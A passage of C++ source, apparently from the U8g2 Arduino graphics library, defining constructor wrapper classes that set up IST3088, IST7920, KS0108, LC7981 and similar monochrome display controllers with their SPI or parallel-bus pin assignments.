u8g2_Setup_ist3088_320x240_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_IST3088_320X240_F_4W_HW_SPI : public U8G2 { public: U8G2_IST3088_320X240_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3088_320x240_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST3088_320X240_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_IST3088_320X240_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3088_320x240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST3088_320X240_F_6800 : public U8G2 { public: U8G2_IST3088_320X240_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3088_320x240_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST3088_320X240_F_8080 : public U8G2 { public: U8G2_IST3088_320X240_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist3088_320x240_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST7920_128X128_1_4W_SW_SPI : public U8G2 { public: U8G2_IST7920_128X128_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist7920_128x128_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_IST7920_128X128_1_4W_HW_SPI : public U8G2 { public: U8G2_IST7920_128X128_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist7920_128x128_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST7920_128X128_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_IST7920_128X128_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist7920_128x128_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST7920_128X128_1_6800 : public U8G2 { public: U8G2_IST7920_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist7920_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST7920_128X128_1_8080 : public U8G2 { public: U8G2_IST7920_128X128_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist7920_128x128_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST7920_128X128_2_4W_SW_SPI : public U8G2 { public: U8G2_IST7920_128X128_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist7920_128x128_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_IST7920_128X128_2_4W_HW_SPI : public U8G2 { public: U8G2_IST7920_128X128_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist7920_128x128_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST7920_128X128_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_IST7920_128X128_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist7920_128x128_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST7920_128X128_2_6800 : public U8G2 { public: U8G2_IST7920_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist7920_128x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST7920_128X128_2_8080 : public U8G2 { public: U8G2_IST7920_128X128_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist7920_128x128_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST7920_128X128_F_4W_SW_SPI : public U8G2 { public: U8G2_IST7920_128X128_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist7920_128x128_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_IST7920_128X128_F_4W_HW_SPI : public U8G2 { public: U8G2_IST7920_128X128_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist7920_128x128_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST7920_128X128_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_IST7920_128X128_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist7920_128x128_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_IST7920_128X128_F_6800 : public U8G2 { public: U8G2_IST7920_128X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist7920_128x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_IST7920_128X128_F_8080 : public U8G2 { public: U8G2_IST7920_128X128_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ist7920_128x128_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SBN1661_122X32_1 : public U8G2 { public: U8G2_SBN1661_122X32_1(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8G2() { u8g2_Setup_sbn1661_122x32_1(&u8g2, rotation, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset); } }; class U8G2_SBN1661_122X32_2 : public U8G2 { public: U8G2_SBN1661_122X32_2(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8G2() { u8g2_Setup_sbn1661_122x32_2(&u8g2, rotation, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset); } }; class U8G2_SBN1661_122X32_F : public U8G2 { public: U8G2_SBN1661_122X32_F(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8G2() { u8g2_Setup_sbn1661_122x32_f(&u8g2, rotation, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset); } }; class U8G2_SED1520_122X32_1 : public U8G2 { public: U8G2_SED1520_122X32_1(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8G2() { u8g2_Setup_sed1520_122x32_1(&u8g2, rotation, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset); } }; class U8G2_SED1520_122X32_2 : public U8G2 { public: U8G2_SED1520_122X32_2(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8G2() { u8g2_Setup_sed1520_122x32_2(&u8g2, rotation, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset); } }; class U8G2_SED1520_122X32_F : public U8G2 { public: U8G2_SED1520_122X32_F(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset) : U8G2() { u8g2_Setup_sed1520_122x32_f(&u8g2, rotation, u8x8_byte_sed1520, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SED1520(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, dc, e1, e2, reset); } }; class U8G2_KS0108_128X64_1 : public U8G2 { public: U8G2_KS0108_128X64_1(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ks0108_128x64_1(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8G2_KS0108_128X64_2 : public U8G2 { public: U8G2_KS0108_128X64_2(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ks0108_128x64_2(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8G2_KS0108_128X64_F : public U8G2 { public: U8G2_KS0108_128X64_F(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ks0108_128x64_f(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8G2_KS0108_ERM19264_1 : public U8G2 { public: U8G2_KS0108_ERM19264_1(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ks0108_erm19264_1(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8G2_KS0108_ERM19264_2 : public U8G2 { public: U8G2_KS0108_ERM19264_2(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ks0108_erm19264_2(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8G2_KS0108_ERM19264_F : public U8G2 { public: U8G2_KS0108_ERM19264_F(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ks0108_erm19264_f(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8G2_T7932_150X32_1 : public U8G2 { public: U8G2_T7932_150X32_1(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t7932_150x32_1(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8G2_T7932_150X32_2 : public U8G2 { public: U8G2_T7932_150X32_2(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t7932_150x32_2(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8G2_T7932_150X32_F : public U8G2 { public: U8G2_T7932_150X32_F(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_t7932_150x32_f(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8G2_HD44102_100X64_1 : public U8G2 { public: U8G2_HD44102_100X64_1(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hd44102_100x64_1(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8G2_HD44102_100X64_2 : public U8G2 { public: U8G2_HD44102_100X64_2(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hd44102_100x64_2(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8G2_HD44102_100X64_F : public U8G2 { public: U8G2_HD44102_100X64_F(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_hd44102_100x64_f(&u8g2, rotation, u8x8_byte_arduino_ks0108, u8x8_gpio_and_delay_arduino); u8x8_SetPin_KS0108(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, dc, cs0, cs1, cs2, reset); } }; class U8G2_LC7981_160X80_1_6800 : public U8G2 { public: U8G2_LC7981_160X80_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_lc7981_160x80_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_LC7981_160X80_2_6800 : public U8G2 { public: U8G2_LC7981_160X80_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_lc7981_160x80_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_LC7981_160X80_F_6800 : public U8G2 { public: U8G2_LC7981_160X80_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_lc7981_160x80_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_LC7981_160X160_1_6800 : public U8G2 { public: U8G2_LC7981_160X160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_lc7981_160x160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_LC7981_160X160_2_6800 : public U8G2 { public: U8G2_LC7981_160X160_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_lc7981_160x160_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_LC7981_160X160_F_6800 : public U8G2 { public: U8G2_LC7981_160X160_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_lc7981_160x160_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_LC7981_240X128_1_6800 : public U8G2 { public: U8G2_LC7981_240X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_lc7981_240x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_LC7981_240X128_2_6800 : public U8G2 { public: U8G2_LC7981_240X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_lc7981_240x128_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_LC7981_240X128_F_6800 : public U8G2 { public: U8G2_LC7981_240X128_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_lc7981_240x128_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_LC7981_240X64_1_6800 : public U8G2 { public: U8G2_LC7981_240X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_lc7981_240x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_LC7981_240X64_2_6800 : public U8G2 { public: U8G2_LC7981_240X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_lc7981_240x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_LC7981_240X64_F_6800 : public U8G2 { public: U8G2_LC7981_240X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_lc7981_240x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_LC7981_128X128_1_6800 : public U8G2 { public: U8G2_LC7981_128X128_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_lc7981_128x128_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_LC7981_128X128_2_6800 : public U8G2 { public: U8G2_LC7981_128X128_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, 